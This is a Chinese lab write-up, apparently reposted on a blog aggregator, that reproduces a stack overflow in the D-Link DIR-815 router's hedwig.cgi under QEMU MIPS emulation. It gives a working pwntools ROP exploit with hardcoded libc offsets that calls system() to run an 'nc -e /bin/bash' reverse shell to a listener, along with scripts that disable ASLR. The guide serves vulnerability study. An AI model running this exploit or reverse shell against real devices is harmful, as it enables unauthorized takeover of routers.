从零到一:复现 DIR-815 栈溢出漏洞

news2024/12/28 21:59:31

从零到一:复现 DIR-815 栈溢出漏洞

实验环境

执行命令uname -a可以查看到当前系统版本

在这里插入图片描述

我这边采用桥接模式进行实验。

在这里插入图片描述

环境搭建

文章命令操作均在root下操作,且git clone xxxx.git下载所用到工具都均下载保存到/opt/tools/文件夹下,方便统一管理。

在这里插入图片描述

先搭建好PWN环境,PWN搭建参考教程:https://blog.csdn.net/qq_44223394/article/details/127434471

PWN环境搭建好后,下面开始安装binwalk、sasquatch、qemu、网络配置等等。

安装binwalk

sudo apt-get install binwalk

安装Sasquatch

sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev

cd /opt/tools/

sudo git clone https://github.com/devttys0/sasquatch

cd ./sasquatch

chmod +x build.sh

./build.sh

安装qemu

sudo apt update && sudo apt install qemu qemu-user qemu-user-static qemu-system
sudo apt-get install binfmt-support libncurses5-dev gcc-arm-linux-gnueabi build-essential synaptic gcc-aarch64-linux-gnu

#安装依赖库:
sudo apt-get install -y gcc-arm-linux-gnueabi

安装完成后使用命令验证安装是否成功

qemu-system-x86_64 --version

在这里插入图片描述

即安装成功。

网络配置搭建

安装网络配置工具:

sudo apt-get install bridge-utils uml-utilities

ip addr 查看ubuntu本机的ip地址为192.168.10.60,就是能上网的网卡名字是ens33

在这里插入图片描述

vim /etc/network/interfaces

如果实验的时候,不是ens33,则下面的ens33文字改成你实验的网卡名字就行了。

然后按i 键,将下面这段配置粘过去

auto lo
iface lo inet loopback

auto ens33
iface ens33  inet dhcp
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports ens33
bridge_maxwait 0

然后按ESC键,在按:wq保存退出。

sudo /etc/init.d/networking restart 重启一下网络配置。

vim /etc/qemu-ifup

写入下面的配置:

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

sudo chmod a+x /etc/qemu-ifup命令赋予权限。

vim /etc/qemu/bridge.conf

写入allow br0即可。

使用qemu-system-mipsel参考链接:https://blog.csdn.net/qq_43390703/article/details/120978954

vim /opt/tools/mipsel/network_config.sh

我这边虚拟机的网卡是ens33,如果你那边不是,请将下面配置中的ens33改成你那边网卡名字所对应的即可。然后修改下面配置的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址,然后将下面配置保存到network_config.sh脚本里,

sudo ifconfig ens33 down    # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo ifconfig ens33 up

# 下面是创建TAP设备
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口

# 注意下面的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址
sudo brctl addbr Virbr0 
sudo ifconfig Virbr0 192.168.10.60/24 up 
sudo tunctl -t tap0 
sudo ifconfig tap0 192.168.10.60/24 up 
sudo brctl addif Virbr0 tap0

保存配置后

cd /opt/tools/mipsel/

chmod 777 network_config.sh

./network_config.sh 可以看到

在这里插入图片描述

ip addr,若过出现如下图所示,即网络配置搭建完成。

在这里插入图片描述

sudo brctl show br0 查看虚拟网桥列表

sudo brctl showstp br0 查看 br0 的各接口信息

ifconfig 可查看网络IP地址相关配置

sudo brctl showstp br0 显示 br0 的各个接口

sudo brctl showstp br0 显示 br0 的各个接口

注:在网络环境按上述配置完成后,重启下Ubuntu虚拟机。

配置qemu虚拟机

cd /opt/tools

mkdir mipsel

cd ./mipsel

由于该固件是32位小端序的mips架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mipsel/.
下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。

执行下面两句命令进行下载

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

然后新建启动qemu的脚本,命名为start.sh

vim /opt/tools/mipsel/start.sh

下面配置写入start.sh

sudo qemu-system-mipsel \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -nographic \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no

如果要启动qemu,则运行start.sh即可。如下图所示

在这里插入图片描述

login和password都是root,就成功进入qemu仿真机系统。

在这里插入图片描述

在qemu仿真机系统中执行

ip addr

在这里插入图片描述

可以看到

qemu仿真机系统的ip地址为:192.168.10.67

ubuntu的ip地址为:192.168.10.60

且都是可以ping通的

在这里插入图片描述
至此,qemu仿真机就成功搭建完成了。

漏洞分析

下载解压固件

固件下载:https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0

或 https://support.dlink.com/

在ubuntu里,我这里在桌面上新建了如下图的路径

在这里插入图片描述

把下载好的固件放在DIR-815文件里。

使用命令binwalk -Me DIR-815A1_FW101SSB03.bin将固件包通过binwalk解压

在这里插入图片描述

在固件目录下生成_DIR-815A1_FW101SSB03.bin.extracted的文件夹。

/iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root 存放的是路由器系统的相关文件。

本文是用IDA逆向分析的二进制文件是/squashfs-root/htdocs/cgibin

我们查看一下cgibin系统文件

file cgibin

在这里插入图片描述

可以看到,cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

我们进到cd iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted 文件夹内

执行 (注:这里的ip要改成你那边qemu仿真机的ip)

scp -r ./squashfs-root root@192.168.10.67:/root/squashfs-root

就是将squashfs-root的路由器配置文件上传到qemu仿真机里。

在这里插入图片描述

如上图所示,在qemu仿真机里可以看到上传完成了。

qemu开启hhtpd服务

用ubuntu的nmap扫一下仿真机的开启了哪些端口。

192.168.10.67为qemu的ip地址

namp 192.168.10.67

在这里插入图片描述

可以看到开启了22端口,并未开启80端口。

在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,

nano http_con

里面写入

注:需要改一下自己设置的网卡,IP,端口):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}


Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth1  #对应qemu仿真路由器系统的网卡
    Address 192.168.10.67 #qemu仿真路由器系统的IP
    Port "80" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

在这里插入图片描述

ctrl + x ,再按回车,再按y保存,或n不保存,然后回车。

Ubuntu 20.04物理机上/opt/tools/mipsel新建init.sh,写入下面配置。

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

保存。

chmod 777 init.sh

./init.sh 运行脚本即可。

qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:

nano init.sh,写入下面这些配置

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

注:echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化

然后在qemu里运行./init.sh

qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:

nano fin.sh,写入下面这些配置

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

注:退出qemu虚拟机的时候,记得运行fin.sh的脚本恢复/etc文件夹

下面是开启httpd服务

在qemu仿真机里,进到/squashfs-root/sbin

运行 ./httpd -f /root/squashfs-root/http_conf

浏览器访问 http://192.168.10.67/hedwig.cgi

在这里插入图片描述
可以看到正常访问了。

IDA安装使用MIPSROP插件

IDA7.5 使用MIPSROP插件参考

https://blog.csdn.net/niu_niu_/article/details/125566287

https://bbs.kanxue.com/thread-266102.htm

windows上下载:https://bbs.kanxue.com/attach-download-236502-8d1a29c4a83046d584fd66d604eb6736@A5NoR_2FLZ5Fp6vrvU788dBg_3D_3D.htm

在这里插入图片描述

将这两个文件放在xxxxx\IDA_Pro_v7.5_Portable\plugins\里面,然后重启IDA。

在这里插入图片描述
在这里插入图片描述

在命令行中输入mipsrop.stackfinders() 回车即可

在这里插入图片描述

看到能运行插件,即安装成功了。

exp

在ubuntu里执行

echo 0 > /proc/sys/kernel/randomize_va_space

两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈/bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell

在ubuntu里/opt/tools/mipsel/里下载gdbserver.mipsle

wget https://github.com/rapid7/embeddedtools/blob/master/binaries/gdbserver/gdbserver.mipsle

然后将gdbserver.mipsle上传到qemu的squashfs-root文件夹内

scp -r ./gdbserver.mipsle root@192.168.10.67:/root/squashfs-root

qemu/root/squashfs-root/用新建run.sh脚本启动:

nano run.sh

写入下面配置

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

注:

#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi

这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。

------------------------------------

# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。

在ubuntu里/opt/tools/mipsel/里新建exp.py

vim exp.py

纯ROP链

写入(注:ip要改)

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.10.60 8888'
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()

与运行exp.py

python3 exp.py

在目录会生成payload文件,将这个文件上传到qemu的squashfs-root文件夹里

scp -r ./payload root@192.168.10.67:/root/squashfs-root

然后在ubuntu里新建一个终端,进行端口监听,等待反弹shell

nc -lvnp 8888

在qemu中squashfs-root里,执行刚才新建的run.sh在ubuntu可以见到已经成功反弹了shell,并可执行命令。

在这里插入图片描述

至此,漏洞复现完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/177922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OKC和802.11R的知识小科普

欢迎来到东用知识小课堂!1.什么是漫游简单来说,就是设备从一个AP,连接到另一个AP。IP地址不需要重新申请。整个过程需要尽可能快的进行,否则对于用户而言,就会发现网络出现卡顿。而为了安全,网络的认证过程…

【Python】使用pyinstaller打包py程序为exe应用程序时,出现“Tcl报错闪退”的解决办法

问题概述 使用pyinstaller -F的命令进行py程序转为exe程序时,打包后的exe程序会出现闪退报错的情况: 解决办法 1. 检查“环境变量”tcl和tk是否配置好: 查看系统高级设置>>>环境变量>>>系统变量 博主使用anaconda进行p…

河道污染物识别系统 python

河道污染物识别系统通过pythonyolo深度学习技术,对现场画面中河道污染物以及漂浮物进行全天候实时监测,当监测到出现污染物漂浮物时,立即抓拍存档触发告警。与C / C等语言相比,Python速度较慢。也就是说,Python可以使用…

计算机组成原理 | 第一章:概论

文章目录📚冯诺依曼计算机的特点📚计算机硬件组成框图📚计算机硬件的主要技术指标🐇非时间指标🐇时间指标🔑计算技巧归纳📚小结🔑本章掌握要点🐇补充思考题📚…

Froala Editor内容中删除内联样式

Froala Editor内容中删除内联样式 易于集成-编辑器可以在任何时间内集成到任何类型的项目中。它只需要基本的JavaScript和HTML编码知识。 流行-HTML编辑器在开发人员中很流行,它有最流行的开发框架的插件。 易于升级-将所有自定义内容与编辑器文件夹分开&#xff0c…

3.1存储系统基本概念

文章目录一、引子二、存储器的层次化结构1.层次化结构(1)金字塔(2)案例(3)Cache(4)寄存器(5)辅存和外存2.速度与价格举例(1)主存和Cac…

智障税品牌种草收割流

1.量化量化这一块我后续应该不更新了,因为目前我接触的都是赚钱层次的了发出去都是砸自己的饭碗目前我在8个交易所都是市商费率有需要费率的可以合作我在跑的策略为:套利、高频、预测《赚麻》当你有了顶级费率和速度,什么策略都可以赚钱2.引流…

88.【员工管理系统-springBoot】

SpringBoot(十三)、员工管理系统SpringBoot1.准备工作(1).导入我们所需要的环境依赖(2).首页的Controller与View (静态资源Thymeleaf接管)2.国际化(1).设置字符编码为UTF-8(2).添加文件资源目录 i18n(3).注册国际化实现(4).国际化的实现 index.html(5).英文与汉文的交互(6).在s…

[QMT]08-从本地行情数据解析历史K线信息

用python解析QMT本地数据获取本地行情数据get_local_data(field_list[], stock_code[], period1d, start_time, end_time, count-1,dividend_typenone, fill_dataTrue, data_dirdata_dir)释义从本地数据文件获取行情数据,用于快速批量获取历史部分的行情数据参数fie…

谈谈线程安全问题及其解决方法

本文讲述一下线程的安全问题及解决方法。 一 线程安全问题举例说明 在电影院售票的场景,假使有100张票待售,有3个窗口在售票,如图所示: 三个窗口都卖出票1,一个票被卖了3次,多线程访问共享数据“票”&am…

【代码阅读】MSC-VO

MSC-VO是ICRA2022的一篇点线视觉SLAM论文,本身是在ORBSLAM2的基础上改进的,改进的部分在于为SLAM系统引入了线段,并且使用了曼哈顿坐标系与结构化约束进行优化,之前看过的论文记录可以参考链接,年前把线段匹配和均匀化…

CMake的介绍

1.示例代码其实都非常简单,直接使用 GCC 编译器编译即可,连 Makefile 都不需要。在实际的项目中, 一个工程中可能包含几十、成百甚至上千个源文件, 这些源文件按照其类型、功能、模块分别放置在不同的目录中;面对这样的…

Kafka-生产者分区

一、分区的好处 便于合理使用存储资源,每个Partition在一个Broker上存储,可以把海量的数据按照分区切割成一块一块数据存储在多台Broker上。合理控制分区的任务,可以实现负载均衡的效果。提高并行度,生产者可以以分区为单位发送数…

Git自学日记

添加暂存区 git add 提交本地库 git commit -m “日志信息” 修改文件 vim 修改文件名 按i进入编辑模式 按esc退出编辑摸模式 :wq 保存更改 历史版本 git reflog 查看版本信息 git log 查看版本详细信息 版本穿梭 git reset --hard 版本号 分支操作 创建分支: git br…

【数据结构】7.1 查找的基本概念

文章目录1. 查找表2. 关键字3. 查找4. 动态查找表和静态查找表5. 平均查找长度1. 查找表 问题:在哪里找? 答:在一个新的数据结构查找表上面找。 查找表: 查找表是由同一类型的数据元素(或记录)构成的集合…

操作系统真相还原_第5章第3节:加载内核(ELF格式分析)

文章目录用C语言写内核(例)二进制程序的运行方法ELF格式的二进制文件ELF文件格式数据类型ELF header的结构Elf32_Phdr的结构ELF文件实例分析将内核载入内存当前的OS信息当前内存规划源码boot.incmbr.sloader.s内核编译并写入硬盘用C语言写内核(例) 源码: int func…

图像处理 手写体英文字母的目标检测与识别 实验报告

获取本实验的项目代码和实验报告&#xff0c;请>点击此处< [0] 摘要 近年来&#xff0c;随着python的迅速崛起&#xff0c;人工智能、图像识别、计算机视觉等新兴学科变得火热起来。Python的发展也伴随着它的各种衍生库、衍生编辑器的发展&#xff0c;其中OpenCV是比较经…

恶意代码分析实战 7 WinDbg

配置WinDbg双机调试。 下载Windbg&#xff08;WDK&#xff09;。 事实上你自己的win10上应该会自带。 配置WinXP虚拟机的boot.ini 改成如图所示的样子 修改主机上Windb的属性。 修改成如图所示&#xff1a; 启动WinXP选择调试状态&#xff0c;启动Windbg即可开始调试。 7.…

【JavaWeb】JavaScript基础语法(下)

✨哈喽&#xff0c;进来的小伙伴们&#xff0c;你们好耶&#xff01;✨ &#x1f6f0;️&#x1f6f0;️系列专栏:【JavaWeb】 ✈️✈️本篇内容:JavaScript基础语法(上)&#xff01; &#x1f680;&#x1f680;代码托管平台github&#xff1a;JavaWeb代码存放仓库&#xff01…

程序员的自我修养第七章——动态链接

继续更新《程序员的自我修养》这个系列&#xff0c;主要是夏天没把它看完&#xff0c;补上遗憾。本篇来自书中第七章。 再说动态链接前&#xff0c;我们先阐明为什么要动态链接&#xff1a; 动态链接的产生来自静态链接的局限性。随着静态链接的发展&#xff0c;其限制也越来越…